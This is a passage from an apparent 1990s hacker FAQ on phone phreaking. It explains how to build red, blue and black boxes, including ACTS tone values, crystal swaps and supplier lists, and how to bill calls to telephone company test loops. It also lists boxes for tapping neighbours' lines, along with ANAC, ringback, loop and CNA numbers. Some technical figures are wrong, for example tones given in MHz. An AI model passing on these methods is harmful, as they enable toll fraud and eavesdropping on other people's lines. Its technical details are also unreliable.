- will cause any portion of the header after the blank line to be
- interpreted as part of the message body.
-
- For more information, read RFC 1036: Standard for Interchange of
- USENET messages.
-
-
-
-
- Section B: Telephony
- ~~~~~~~~~~~~~~~~~~~~
-
- 01. What is a Red Box?
-
- When a coin is inserted into a payphone, the payphone emits a set of
- tones to ACTS (Automated Coin Toll System). Red boxes work by fooling
- ACTS into believing you have actually put money into the phone. The
- red box simply plays the ACTS tones into the telephone microphone.
- ACTS hears those tones, and allows you to place your call. The actual
- tones are:
-
- Nickel Signal 1700+2200 0.060s on
- Dime Signal 1700+2200 0.060s on, 0.060s off, twice repeating
- Quarter Signal 1700+2200 33ms on, 33ms off, 5 times repeating
-
-
- 02. How do I build a Red Box?
-
- Red boxes are commonly manufactured from modified Radio Shack tone
- dialers, Hallmark greeting cards, or made from scratch from readily
- available electronic components.
-
- To make a Red Box from a Radio Shack 43-141 or 43-146 tone dialer,
- open the dialer and replace the crystal with a new one.
- The purpose of the new crystal is to cause the * button on your tone
- dialer to create a 1700Mhz and 2200Mhz tone instead of the original
- 941Mhz and 1209Mhz tones. The exact value of the replacement crystal
- should be 6.466806 to create a perfect 1700Mhz tone and 6.513698 to
- create a perfect 2200mhz tone. A crystal close to those values will
- create a tone that easily falls within the loose tolerances of ACTS.
- The most popular choice is the 6.5536Mhz crystal, because it is the
- eaiest to procure. The old crystal is the large shiny metal component
- labeled "3.579545Mhz." When you are finished replacing the crystal,
- program the P1 button with five *'s. That will simulate a quarter
- tone each time you press P1.
-
-
- 03. Where can I get a 6.5536Mhz crystal?
-
- Your best bet is a local electronics store. Radio Shack sells them,
- but they are overpriced and the store must order them in. This takes
- approximately two weeks. In addition, many Radio Shack employees do
- not know that this can be done.
-
- Or, you could order the crystal mail order. This introduces Shipping
- and Handling charges, which are usually much greater than the price of
- the crystal. It's best to get several people together to share the
- S&H cost. Or, buy five or six yourself and sell them later. Some of
- the places you can order crystals are:
-
- Digi-Key
- 701 Brooks Avenue South
- P.O. Box 677
- Thief River Falls, MN 56701-0677
- (80)344-4539
- Part Number:X415-ND /* Note: 6.500Mhz and only .197 x .433 x .149! */
- Part Number:X018-ND
-
- JDR Microdevices:
- 2233 Branham Lane
- San Jose, CA 95124
- (800)538-5000
- Part Number: 6.5536MHZ
-
- Tandy Express Order Marketing
- 401 NE 38th Street
- Fort Worth, TX 76106
- (800)241-8742
- Part Number: 10068625
-
- Alltronics
- 2300 Zanker Road
- San Jose CA 95131
- (408)943-9774 Voice
- (408)943-9776 Fax
- (408)943-0622 BBS
- Part Number: 92A057
-
- Mouser
- (800)346-6873
- Part Number: 332-1066
-
-
- 04. Which payphones will a Red Box work on?
-
- Red Boxes will work on TelCo owned payphones, but not on COCOT's
- (Customer Owned Coin Operated Telephones).
-
- Red boxes work by fooling ACTS (Automated Coin Toll System) into
- believing you have put money into the pay phone. ACTS is the
- telephone company software responsible for saying "Please deposit XX
- cents" and listening for the coins being deposited.
-
- COCOT's do not use ACTS. On a COCOT, the pay phone itself is
- responsible for determining what coins have been inserted.
-
-
- 05. How do I make local calls with a Red Box?
-
- Payphones do not use ACTS for local calls. To use your red box for
- local calls, you have to fool ACTS into getting involved in the call.
-
- One way to do this, in some areas, is by dialing 10288-xxx-xxxx. This
- makes your call a long distance call, and brings ACTS into the
- picture.
-
- In other areas, you can call Directory Assistance and ask for the
- number of the person you are trying to reach. The operator will give
- you the number and then you will hear a message similar to "Your call
- can be completed automatically for an additional 35 cents." When this
- happens, you can then use ACTS tones.
-
-
- 06. What is a Blue Box?
-
- Blue boxes use a 2600hz tone to size control of telephone switches
- that use in-band signalling. The caller may then access special
- switch functions, with the usual purpose of making free long distance
- phone calls, using the tones provided by the Blue Box.
-
-
- 07. Do Blue Boxes still work?
-
- Blue Boxes still work in areas using in band signalling. Modern phone
- switches use out of band signalling. Nothing you send over the voice
- portion of bandwidth can control the switch. If you are in an area
- served by a switch using out of band signalling, you can still blue
- box by calling through an area served by older in-band equipment.
-
-
- 08. What is a Black Box?
-
- A Black Box is a 1.8k ohm resistor placed across your phone line to
- cause the phone company equipment to be unable to detect that you have
- answered your telephone. People who call you will then not be billed
- for the telephone call. Black boxes do not work under ESS.
-
-
- 09. What do all the colored boxes do?
-
- Acrylic Steal Three-Way-Calling, Call Waiting and programmable
- Call Forwarding on old 4-wire phone systems
- Aqua Drain the voltage of the FBI lock-in-trace/trap-trace
- Beige Lineman's hand set
- Black Allows the calling party to not be billed for the call
- placed
- Blast Phone microphone amplifier
- Blotto Supposedly shorts every fone out in the immediate area
- Blue Emulate a true operator by seizing a trunk with a 2600hz
- tone
- Brown Create a party line from 2 phone lines
- Bud Tap into your neighbors phone line
- Chartreuse Use the electricity from your phone line
- Cheese Connect two phones to create a diverter
- Chrome Manipulate Traffic Signals by Remote Control
- Clear A telephone pickup coil and a small amp used to make free
- calls on Fortress Phones
- Color Line activated telephone recorder
- Copper Cause crosstalk interference on an extender
- Crimson Hold button
- Dark Re-route outgoing or incoming calls to another phone
- Dayglo Connect to your neighbors phone line
- Divertor Re-route outgoing or incoming calls to another phone
- DLOC Create a party line from 2 phone lines
- Gold Dialout router
- Green Emulate the Coin Collect, Coin Return, and Ringback tones
- Infinity Remotely activated phone tap
- Jack Touch-Tone key pad
- Light In-use light
- Lunch AM transmitter
- Magenta Connect a remote phone line to another remote phone line
- Mauve Phone tap without cutting into a line
- Neon External microphone
- Noise Create line noise
- Olive External ringer
- Party Create a party line from 2 phone lines
- Pearl Tone generator
- Pink Create a party line from 2 phone lines
- Purple Telephone hold button
- Rainbow Kill a trace by putting 120v into the phone line (joke)
- Razz Tap into your neighbors phone
- Red Make free phone calls from pay phones by generating
- quarter tones
- Rock Add music to your phone line
- Scarlet Cause a neighbors phone line to have poor reception
- Silver Create the DTMF tones for A, B, C and D
- Static Keep the voltage on a phone line high
- Switch Add hold, indicator lights, conferencing, etc..
- Tan Line activated telephone recorder
- Tron Reverse the phase of power to your house, causing your
- electric meter to run slower
- TV Cable "See" sound waves on your TV
- Urine Create a capacitative disturbance between the ring and
- tip wires in another's telephone headset
- Violet Keep a payphone from hanging up
- White Portable DTMF keypad
- Yellow Add an extension phone
-
- Box schematics may be retrieved from these FTP sites:
-
- ftp.netcom.com /pub/br/bradleym
- ftp.netcom.com /pub/va/vandal
- ftp.winternet.com /users/craigb
-
-
- 10. What is an ANAC number?
-
- An ANAC (Automatic Number Announcement Circuit) number is a telephone
- number that plays back the number of the telephone that called it.
- ANAC numbers are convenient if you want to know the telephone number
- of a pair of wires.
-
-
- 11. What is the ANAC number for my area?
-
- How to find your ANAC number:
-
- Look up your NPA (Area Code) and try the number listed for it. If that
- fails, try 1 plus the number listed for it. If that fails, try the
- common numbers like 311, 958 and 200-222-2222. If you find the ANAC
- number for your area, please let us know.
-
- Note that many times the ANAC number will vary for different switches
- in the same city. The geographic naming on the list is NOT intended
- to be an accurate reference for coverage patterns, it is for
- convenience only.
-
- Many companies operate 800 number services which will read back to you
- the number from which you are calling. Many of these require
- navigating a series of menus to get the phone number you are looking
- for.
-
- (800)238-4959 A voice mail system
- (800)328-2630 A phone sex line
- (800)568-3197 Info Access Telephone Company's Automated Blocking Line
- (800)571-8859 A phone sex line
- (800)692-6447 (800)MY-ANI-IS
- N (800)455-3256 Unknown
-
- An non-800 ANAC that works nationwide is 404-988-9664. The one catch
- with this number is that it must be dialed with the AT&T Carrier
- Access Code 10732.
-
- Another non-800 nationwide ANAC is Glen Robert of Full Disclosure
- Magazine's number, 10555-1-708-356-9646.
-
- Please use local ANAC numbers if you can, as abuse or overuse kills
- 800 ANAC numbers.
-
- NPA ANAC number Geographic area
- --- --------------- ---------------------------------------------
- 201 958 Hackensack/Jersey City/Newark/Paterson, NJ
- 202 811 District of Columbia
- 203 970 CT
- N 205 300-222-2222 Birmingham, AL
- N 205 300-555-5555 Many small towns in AL
- N 205 300-648-1111 Dora, AL
- N 205 300-765-4321 Bessemer, AL
- N 205 300-798-1111 Forestdale, AL
- N 205 300-833-3333 Birmingham
- N 205 557-2311 Birmingham, AL
- N 205 811 Pell City/Cropwell/Lincoln, AL
- N 205 841-1111 Tarrant, AL
- 205 908-222-2222 Birmingham, AL
- 206 411 WA (Not US West)
- 207 958 ME
- 209 830-2121 Stockton, CA
- 209 211-9779 Stockton, CA
- 212 958 Manhattan, NY
- U 213 114 Los Angeles, CA (GTE)
- 213 1223 Los Angeles, CA (Some 1AESS switches)
- 213 211-2345 Los Angeles, CA (English response)
- 213 211-2346 Los Angeles, CA (DTMF response)
- N 213 760-2??? Los Angeles, CA (DMS switches)
- 213 61056 Los Angeles, CA
- 214 570 Dallas, TX
- 214 790 Dallas, TX (GTE)
- 214 970-222-2222 Dallas, TX
- 214 970-611-1111 Dallas, TX (Southwestern Bell)
- 215 410-xxxx Philadelphia, PA
- 215 511 Philadelphia, PA
- 215 958 Philadelphia, PA
- N 216 331 Akron/Canton/Cleveland/Lorain/Youngstown, OH
- N 216 959-9892 Akron/Canton/Cleveland/Lorain/Youngstown, OH
- 217 200-xxx-xxxx Champaign-Urbana/Springfield, IL
- 219 550 Gary/Hammond/Michigan City/Southbend, IN
- 219 559 Gary/Hammond/Michigan City/Southbend, IN
- 301 958-9968 Hagerstown/Rockville, MD
- 310 114 Long Beach, CA (On many GTE switches)
- 310 1223 Long Beach, CA (Some 1AESS switches)
- 310 211-2345 Long Beach, CA (English response)
- 310 211-2346 Long Beach, CA (DTMF response)
- 312 200 Chicago, IL
- 312 290 Chicago, IL
- 312 1-200-8825 Chicago, IL (Last four change rapidly)
- 312 1-200-555-1212 Chicago, IL
- 313 200-200-2002 Ann Arbor/Dearborn/Detroit, MI
- 313 200-222-2222 Ann Arbor/Dearborn/Detroit, MI
- 313 200-xxx-xxxx Ann Arbor/Dearborn/Detroit, MI
- 313 200200200200200 Ann Arbor/Dearborn/Detroit, MI
- 314 410-xxxx# Columbia/Jefferson City/St.Louis, MO
- 315 953 Syracuse/Utica, NY
- 315 958 Syracuse/Utica, NY
- 315 998 Syracuse/Utica, NY
- 317 310-222-2222 Indianapolis/Kokomo, IN
- 317 559-222-2222 Indianapolis/Kokomo, IN
- 317 743-1218 Indianapolis/Kokomo, IN
- 401 200-200-4444 RI
- 401 222-2222 RI
- 402 311 Lincoln, NE
- 404 311 Atlanta, GA
- 404 940-xxx-xxxx Atlanta, GA
- 404 990 Atlanta, GA
- 405 890-7777777 Enid/Oklahoma City, OK
- 405 897 Enid/Oklahoma City, OK
- 407 200-222-2222 Orlando/West Palm Beach, FL
- 408 300-xxx-xxxx San Jose, CA
- 408 760 San Jose, CA
- 408 940 San Jose, CA
- 409 951 Beaumont/Galveston, TX
- 409 970-xxxx Beaumont/Galveston, TX
- 410 200-6969 A
- 410 200-555-1212 A
- 410 811 Annapolis/Baltimore, MD
- 412 711-6633 Pittsburgh, PA
- 412 711-4411 Pittsburgh, PA
- 412 999-xxxx Pittsburgh, PA
- 413 958 Pittsfield/Springfield, MA
- 413 200-555-5555 Pittsfield/Springfield, MA
- 414 330-2234 Fond du Lac/Green Bay/Milwaukee/Racine, WI
- 415 200-555-1212 San Francisco, CA
- 415 211-2111 San Francisco, CA
- 415 2222 San Francisco, CA
- 415 640 San Francisco, CA
- 415 760-2878 San Francisco, CA
- 415 7600-2222 San Francisco, CA
- 419 311 Toledo, OH
- 502 2002222222 Frankfort/Louisville/Paducah/Shelbyville, KY
- 502 997-555-1212 Frankfort/Louisville/Paducah/Shelbyville, KY
- 503 611 Portland, OR
- 503 999 Portland, OR (GTE)
- 504 99882233 Baton Rouge/New Orleans, LA
- 504 201-269-1111 Baton Rouge/New Orleans, LA
- 504 998 Baton Rouge/New Orleans, LA
- 504 99851-0000000000 Baton Rouge/New Orleans, LA
- 508 958 Fall River/New Bedford/Worchester, MA
- 508 200-222-1234 Fall River/New Bedford/Worchester, MA
- 508 200-222-2222 Fall River/New Bedford/Worchester, MA
- 508 26011 Fall River/New Bedford/Worchester, MA
- 509 560 Spokane/Walla Walla/Yakima, WA
- 512 830 Austin/Corpus Christi, TX
- 512 970-xxxx Austin/Corpus Christi, TX
- 515 5463 Des Moines, IA
- 515 811 Des Moines, IA
- 516 958 Hempstead/Long Island, NY
- 516 968 Hempstead/Long Island, NY
- 517 200-222-2222 Bay City/Jackson/Lansing, MI
- 517 200200200200200 Bay City/Jackson/Lansing, MI
- 518 997 Albany/Schenectady/Troy, NY
- 518 998 Albany/Schenectady/Troy, NY
- 603 200-222-2222 NH
- 606 997-555-1212 Ashland/Winchester, KY
- 606 711 Ashland/Winchester, KY
- 607 993 Binghamton/Elmira, NY
- 609 958 Atlantic City/Camden/Trenton/Vineland, NJ
- 610 958 Allentown/Reading, PA
- 612 511 Minneapolis/St.Paul, MN
- N 614 200 Columbus/Steubenville, OH
- N 614 571 Columbus/Steubenville, OH
- 615 200200200200200 Chatanooga/Knoxville/Nashville, TN
- 615 2002222222 Chatanooga/Knoxville/Nashville, TN
- 615 830 Nashville, TN
- 616 200-222-2222 Battle Creek/Grand Rapids/Kalamazoo, MI
- 617 200-222-1234 Boston, MA
- 617 200-222-2222 Boston, MA
- 617 200-444-4444 Boston, MA (Woburn, MA)
- 617 220-2622 Boston, MA
- 617 958 Boston, MA
- 618 200-xxx-xxxx Alton/Cairo/Mt.Vernon, IL
- 618 930 Alton/Cairo/Mt.Vernon, IL
- 619 211-2001 San Diego, CA
- 703 811 Alexandria/Arlington/Roanoke, VA
- N 704 311 Asheville/Charlotte, NC
- 708 1-200-555-1212 Chicago/Elgin, IL
- 708 1-200-8825 Chicago/Elgin, IL (Last four change rapidly)
- N 708 200-6153 Chicago/Elgin, IL
- N 708 724-9951 Chicago/Elgin, IL
- N 708 356-9646 Chicago/Elgin, IL
- N 713 380 Houston, TX
- 713 970-xxxx Houston, TX
- N 713 811 Humble, TX
- 714 114 Anaheim, CA (GTE)
- 714 211-2121 Anaheim, CA (PacBell)
- 714 211-2222 Anaheim, CA (Pacbell)
- 716 511 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
- N 716 990 Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
- 717 958 Harrisburg/Scranton/Wilkes-Barre, PA
- 718 958 Bronx/Brooklyn/Queens/Staten Island, NY
- 802 2-222-222-2222 Vermont
- 802 200-222-2222 Vermont
- 802 1-700-222-2222 Vermont
- 802 111-2222 Vermont
- N 805 114 Bakersfield/Santa Barbara, CA
- 805 211-2345 Bakersfield/Santa Barbara, CA
- 805 211-2346 Bakersfield/Santa Barbara, CA (Returns DTMF)
- 805 830 Bakersfield/Santa Barbara, CA
- 806 970-xxxx Amarillo/Lubbock, TX
- 810 200200200200200 Flint/Pontiac/Southfield/Troy, MI
- 812 410-555-1212 Evansville, IN
- 813 311 Ft. Meyers/St. Petersburg/Tampa, FL
- 815 200-xxx-xxxx La Salle/Rockford, IL
- 815 290 La Salle/Rockford, IL
- 817 211 Ft. Worth/Waco, TX
- 817 970-611-1111 Ft. Worth/Waco, TX (Southwestern Bell)
- 818 1223 Pasadena, CA (Some 1AESS switches)
- 818 211-2345 Pasadena, CA (English response)
- 818 211-2346 Pasadena, CA (DTMF response)
- N 903 970-611-1111 Denison, TX
- 906 1-200-222-2222 Marquette/Sault Ste. Marie, MI
- 908 958 New Brunswick, NJ
- 910 200 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
- 910 311 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
- 910 988 Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
- 914 990-1111 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
- 915 970-xxxx Abilene/El Paso, TX
- N 916 211-2222 Sacramento, CA (Pac Bell)
- N 916 461 Sacramento, CA (Roseville Telepohone)
- 919 200 Durham, NC
- 919 711 Durham, NC
-
- Canada:
- 204 644-xxxx Manitoba
- 306 115 Saskatchewan, Canada
- 403 311 Alberta, Yukon and N.W. Territory
- 403 908-222-2222 Alberta, Yukon and N.W. Territory
- 403 999 Alberta, Yukon and N.W. Territory
- 416 997-xxxx Toronto, Ontario
- N 506 1-555-1313 New Brunswick
- 514 320-xxxx Montreal, Quebec
- 519 320-xxxx London, Ontario
- 604 1116 British Columbia, Canada
- 604 1211 British Columbia, Canada
- 604 211 British Columbia, Canada
- 613 320-2232 Ottawa, Ontario
- 705 320-4567 North Bay/Saulte Ste. Marie, Ontario
-
- Australia:
- +61 03-552-4111 Victoria 03 area
- +612 19123 All major capital cities
-
- United Kingdom:
- 175
-
-
- 12. What is a ringback number?
-
- A ringback number is a number that you call that will immediately
- ring the telephone from which it was called.
-
- In most instances you must call the ringback number, quickly hang up
- the phone for just a short moment and then let up on the switch, you
- will then go back off hook and hear a different tone. You may then
- hang up. You will be called back seconds later.
-
-
- 13. What is the ringback number for my area?
-
- An 'x' means insert those numbers from the phone number from which you
- are calling. A '?' means that the number varies from switch to switch
- in the area, or changes from time to time. Try all possible
- combinations.
-
- If the ringback for your NPA is not listed, try common ones such as
- 954, 957 and 958. Also, try using the numbers listed for other NPA's
- served by your telephone company.
-
- NPA Ringback number Geographic area
- --- --------------- ---------------------------------------------
- 201 55?-xxxx Hackensack/Jersey City/Newark/Paterson, NJ
- 202 958-xxxx District of Columbia
- U 203 99?-xxxx CT
- N 208 99xxx-xxxx ID
- 213 1-95x-xxxx Los Angeles, CA
- N 216 551-XXXX Akron/Canton/Cleveland/Lorain/Youngstown, OH
- 219 571-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
- 219 777-xxx-xxxx Gary/Hammond/Michigan City/Southbend, IN
- 301 579-xxxx Hagerstown/Rockville, MD
- 301 958-xxxx Hagerstown/Rockville, MD
- 303 99X-xxxx Grand Junction, CO
- 304 998-xxxx WV
- 305 999-xxxx Ft. Lauderdale/Key West/Miami, FL
- 312 511-xxxx Chicago, IL
- 312 511-xxx-xxxx Chicago, IL
- 312 57?-xxxx Chicago, IL
- 315 98x-xxxx Syracuse/Utica, NY
- 317 777-xxxx Indianapolis/Kokomo, IN
- 317 yyy-xxxx Indianapolis/Kokomo, IN (y=3rd digit of phone number)
- 319 79x-xxxx Davenport/Dubuque, Iowa
- 401 98?-xxxx RI
- 404 450-xxxx Atlanta, GA
- 407 988-xxxx Orlando/West Palm Beach, FL
- 412 985-xxxx Pittsburgh, PA
- 414 977-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
- 414 978-xxxx Fond du Lac/Green Bay/Milwaukee/Racine, WI
- 415 350-xxxx San Francisco, CA
- 417 551-xxxx Joplin/Springfield, MO
- N 501 221-xxx-xxxx AR
- 501 721-xxx-xxxx AR
- 502 988 Frankfort/Louisville/Paducah/Shelbyville, KY
- N 503 541-XXXX OR
- 504 99x-xxxx Baton Rouge/New Orleans, LA
- 504 9988776655 Baton Rouge/New Orleans, LA
- 505 59?-xxxx New Mexico
- 512 95X-xxxx Austin, TX
- 513 99?-xxxx Cincinnati/Dayton, OH
- N 513 955-xxxx Cincinnati/Dayton, OH
- 516 660-xxx-xxxx Hempstead/Long Island, NY
- 601 777-xxxx MS
- 609 55?-xxxx Atlantic City/Camden/Trenton/Vineland, NJ
- 612 511 Minneapolis/St.Paul, MN
- 612 999-xxx-xxxx Minneapolis/St.Paul, MN
- N 614 998-xxxx Columbus/Steubenville, OH
- 615 930-xxxx Chatanooga/Knoxville/Nashville, TN
- 616 946-xxxx Battle Creek/Grand Rapids/Kalamazoo, MI
- 619 331-xxxx San Diego, CA
- 619 332-xxxx San Diego, CA
- 703 958-xxxx Alexandria/Arlington/Roanoke, VA
- N 708 511-xxxx Chicago/Elgin, IL
- 714 330? Anaheim, CA (GTE)
- 714 33?-xxxx Anaheim, CA (PacBell)
- 716 981-xxxx Rochester, NY (Rochester Tel)
- N 718 660-xxxx Bronx/Brooklyn/Queens/Staten Island, NY
- 719 99x-xxxx Colorado Springs/Leadville/Pueblo, CO
- 801 938-xxxx Utah
- 801 939-xxxx Utah
- N 802 987-xxxx Vermont
- 804 260 Charlottesville/Newport News/Norfolk/Richmond, VA
- 805 114 Bakersfield/Santa Barbara, CA
- 805 980-xxxx Bakersfield/Santa Barbara, CA
- 810 951-xxx-xxxx Pontiac/Southfield/Troy, MI
- 813 711 Ft. Meyers/St. Petersburg/Tampa, FL
- U 817 971 Ft. Worth/Waco, TX (Flashhook, then 2#)
- 906 951-xxx-xxxx Marquette/Sault Ste. Marie, MI
- 908 55?-xxxx New Brunswick, NJ
- 908 953 New Brunswick, NJ
- N 913 951-xxxx Lawrence/Salina/Topeka, KS
- 914 660-xxxx Peekskill/Poughkeepsie/White Plains/Yonkers, NY
-
- Canada:
- 416 57x-xxxx Toronto, Ontario
- 416 99x-xxxx Toronto, Ontario
- 416 999-xxx-xxxx Toronto, Ontario
- N 506 572+xxx-xxxx New Brunswick
- 514 320-xxx-xxxx Montreal, Quebec
- 613 999-xxx-xxxx Ottawa, Ontario
- 705 999-xxx-xxxx North Bay/Saulte Ste. Marie, Ontario
-
- Australia: +61 199
- U Brazil: 109 or 199
- New Zealand: 137
- Sweden: 0058
- United Kingdom: 174 or 1744 or 175 or 0500-89-0011
-
-
- 14. What is a loop?
-
- This FAQ answer is excerpted from: ToneLoc v0.99 User Manual
- by Minor Threat & Mucho Maas
-
- Loops are a pair of phone numbers, usually consecutive, like 836-9998
- and 836-9999. They are used by the phone company for testing. What
- good do loops do us? Well, they are cool in a few ways. Here is a
- simple use of loops. Each loop has two ends, a 'high' end, and a
- 'low' end. One end gives a (usually) constant, loud tone when it is
- called. The other end is silent. Loops don't usually ring either.
- When BOTH ends are called, the people that called each end can talk
- through the loop. Some loops are voice filtered and won't pass
- anything but a constant tone; these aren't much use to you. Here's
- what you can use working loops for: billing phone calls! First, call
- the end that gives the loud tone. Then if the operator or someone
- calls the other end, the tone will go quiet. Act like the phone just
- rang and you answered it ... say "Hello", "Allo", "Chow", "Yo", or
- what the fuck ever. The operator thinks that she just called you, and
- that's it! Now the phone bill will go to the loop, and your local
- RBOC will get the bill! Use this technique in moderation, or the loop
- may go down. Loops are probably most useful when you want to talk to
- someone to whom you don't want to give your phone number.
-
-
- 15. What is a loop in my area?
-
- Many of these loops are no longer functional. If you are local
- to any of these loops, please try them out an e-mail me the results
- of your research.
-
- NPA High Low
- --- -------- --------
- 201 879-9929 879-9930
- 201 347-9929 347-9930
- 206 827-0018 827-0019
- 206 988-0020 988-0022
- 208 862-9996 862-9997
- 209 732-0044 732-0045
- 201 666-9929 666-9930
- N 210 993-9929 993-9930
- N 210 330-9929 330-9930
- N 210 333-9929 333-9930
- N 210 376-9929 376-9930
- N 210 467-9929 467-9930
- 212 220-9977 220-9979
- 212 283-9977 283-9979
- 212 283-9977 283-9997
- 212 352-9900 352-9906
- 212 365-9977 365-9979
- 212 529-9900 529-9906
- 212 562-9977 562-9979
- 212 986-9977 986-9979
- 213 360-1118 360-1119
- 213 365-1118 365-1119
- 213 455-0002 455-XXXX
- 213 455-0002 455-xxxx
- 213 546-0002 546-XXXX
- 213 546-0002 546-xxxx
- 213 549-1118 549-1119
- 214 291-4759 291-4757
- 214 299-4759 299-4757
- 305 778-9952 778-9951
- 305 964-9951 964-9952
- 307 468-9999 468-9998
- 308 357-0004 357-0005
- N 310 365-1118 365-1119
- N 310 445-0002 445-????
- N 310 455-0002 455-????
- N 310 545-0002 545-????
- N 310 546-0002 546-????
- N 312 262-9902 262-9903
- 313 224-9996 224-9997
- 313 225-9996 225-9997
- 313 234-9996 234-9997
- 313 237-9996 237-9997
- 313 256-9996 256-9997
- 313 272-9996 272-9997
- 313 273-9996 273-9997
- 313 277-9996 277-9997
- 313 281-9996 281-9997
- 313 292-9996 292-9997
- 313 299-9996 299-9997
- 313 321-9996 321-9997
- 313 326-9996 326-9997
- 313 356-9996 356-9997
- 313 362-9996 362-9997
- 313 369-9996 369-9997
- 313 388-9996 388-9997
- 313 397-9996 397-9997
- 313 399-9996 399-9997
- 313 445-9996 445-9997
- 313 465-9996 465-9997
- 313 471-9996 471-9997
- 313 474-9996 474-9997
- 313 477-9996 477-9997
- 313 478-9996 478-9997
- 313 483-9996 483-9997
- 313 497-9996 497-9997
- 313 526-9996 526-9997
- 313 552-9996 552-9997
- 313 556-9996 556-9997
- 313 561-9996 561-9997
- 313 569-9996 569-9996
- 313 575-9996 575-9997
- 313 577-9996 577-9997
- 313 585-9996 585-9997
- 313 591-9996 591-9997
- 313 621-9996 621-9997
- 313 626-9996 626-9997
- 313 644-9996 644-9997
- 313 646-9996 646-9997
- 313 647-9996 647-9997
- 313 649-9996 649-9997
- 313 663-9996 663-9997
- 313 665-9996 665-9997
- 313 683-9996 683-9997
- 313 721-9996 721-9997
- 313 722-9996 722-9997
- 313 728-9996 728-9997
- 313 731-9996 731-9997
- 313 751-9996 751-9997
- 313 776-9996 776-9997
- 313 781-9996 781-9997
- 313 787-9996 787-9997
- 313 822-9996 822-9997
- 313 833-9996 833-9997
- 313 851-9996 851-9997
- 313 871-9996 871-9997
- 313 875-9996 875-9997
- 313 886-9996 886-9997
- 313 888-9996 888-9997
- 313 898-9996 898-9997
- 313 934-9996 934-9997
- 313 942-9996 942-9997
- 313 963-9996 963-9997
- 313 977-9996 977-9997
- 315 673-9995 673-9996
- 315 695-9995 695-9996
- 402 422-0001 422-0002
- 402 422-0003 422-0004
- 402 422-0005 422-0006
- 402 422-0007 422-0008
- 402 572-0003 572-0004
- 402 779-0004 779-0007
- 406 225-9902 225-9903
- 517 422-9996 422-9997
- 517 423-9996 423-9997
- 517 455-9996 455-9997
- 517 563-9996 563-9997
- 517 663-9996 663-9997
- 517 851-9996 851-9997
- 609 921-9929 921-9930
- 609 994-9929 994-9930
- 616 997-9996 997-9997
- N 708 724-9951 724-????
- 713 224-1499 759-1799
- 713 324-1499 324-1799
- 713 342-1499 342-1799
- 713 351-1499 351-1799
- 713 354-1499 354-1799
- 713 356-1499 356-1799
- 713 442-1499 442-1799
- 713 447-1499 447-1799
- 713 455-1499 455-1799
- 713 458-1499 458-1799
- 713 462-1499 462-1799
- 713 466-1499 466-1799
- 713 468-1499 468-1799
- 713 469-1499 469-1799
- 713 471-1499 471-1799
- 713 481-1499 481-1799
- 713 482-1499 482-1799
- 713 484-1499 484-1799
- 713 487-1499 487-1799
- 713 489-1499 489-1799
- 713 492-1499 492-1799
- 713 493-1499 493-1799
- 713 524-1499 524-1799
- 713 526-1499 526-1799
- 713 555-1499 555-1799
- 713 661-1499 661-1799
- 713 664-1499 664-1799
- 713 665-1499 665-1799
- 713 666-1499 666-1799
- 713 667-1499 667-1799
- 713 682-1499 976-1799
- 713 771-1499 771-1799
- 713 780-1499 780-1799
- 713 781-1499 997-1799
- 713 960-1499 960-1799
- 713 977-1499 977-1799
- 713 988-1499 988-1799
- 805 528-0044 528-0045
- 805 544-0044 544-0045
- 805 773-0044 773-0045
- 808 235-9907 235-9908
- 808 239-9907 239-9908
- 808 245-9907 245-9908
- 808 247-9907 247-9908
- 808 261-9907 261-9908
- 808 322-9907 322-9908
- 808 328-9907 328-9908
- 808 329-9907 329-9908
- 808 332-9907 332-9908
- 808 335-9907 335-9908
- 808 572-9907 572-9908
- 808 623-9907 623-9908
- 808 624-9907 624-9908
- 808 668-9907 668-9908
- 808 742-9907 742-9908
- 808 879-9907 879-9908
- 808 882-9907 882-9908
- 808 885-9907 885-9908
- 808 959-9907 959-9908
- 808 961-9907 961-9908
- 810 362-9996 362-9997
- 813 385-9971 385-xxxx
- N 908 254-9929 254-9930
- N 908 558-9929 558-9930
- N 908 560-9929 560-9930
- 908 776-9930 776-9930
-
-
- 16. What is a CNA number?
-
- CNA stands for Customer Name and Address. The CNA number is a phone
- number for telephone company personnel to call and get the name and
- address for a phone number. If a telephone lineman finds a phone line
- he does not recognize, he can use the ANI number to find its phone
- number and then call the CNA operator to see who owns it and where
- they live.
-
- Normal CNA numbers are available only to telephone company personnel.
- Private citizens may legally get CNA information from private
- companies. Two such companies are:
-
- Unidirectory (900)933-3330
- Telename (900)884-1212
-
- Note that these are 900 numbers, and will cost you approximately one
- dollar per minute.
-
- If you are in 312 or 708, AmeriTech has a pay-for-play CNA service
- available to the general public. The number is 796-9600. The cost is
- $.35/call and can look up two numbers per call.
-
- If you are in 415, Pacific Bell offers a public access CNA service at
- (415)781-5271.
-
- 17. What is the telephone company CNA number for my area?
-
- 203 (203)771-8080 CT
- 513 (513)397-9110 Cincinnati/Dayton, OH
- 516 (516)321-5700 Hempstead/Long Island, NY
- N 518 (518)471-8111 Albany/Schenectady/Troy, NY
- 614 (614)464-0123 Columbus/Steubenville, OH
- 813 (813)270-8711 Ft. Meyers/St. Petersburg/Tampa, FL
-
-
- 18. What are some numbers that always ring busy?
-
- 216 xxx-9887 Akron/Canton/Cleveland/Lorain/Youngstown, OH
- N 303 431-0000 Denver, CO
- N 303 866-8660 Denver, CO
- 316 952-7265 Dodge City/Wichita, KS
- 501 377-99xx AR
- 719 472-3773 Colorado Springs/Leadville/Pueblo, CO
- 805 255-0699 Bakersfield/Santa Barbara, CA
- 818 885-0699 Pasadena, CA
- 906 632-9999 Marquette/Sault Ste. Marie, MI
- 906 635-9999 Marquette/Sault Ste. Marie, MI
- 914 576-9903 Peekskill/Poughkeepsie/White Plains/Yonkers, NY
-
-
- 19. What are some numbers that temporarily disconnect phone service?
-
- 314 511 Columbia/Jefferson City/St.Louis, MO (1 minute)
- 404 420 Atlanta, GA (5 minutes)
- 405 953 Enid/Oklahoma City, OK (1 minute)
- 407 511 Orlando/West Palm Beach, FL (1 minute)
- 512 200 Austin/Corpus Christi, TX (1 minute)
- 516 480 Hempstead/Long Island, NY (1 minute)
- 603 980 NH
- N 614 xxx-9894 Columbus/Steubenville, OH
- N 805 119 Bakersfield/Santa Barbara, CA (3 minutes)
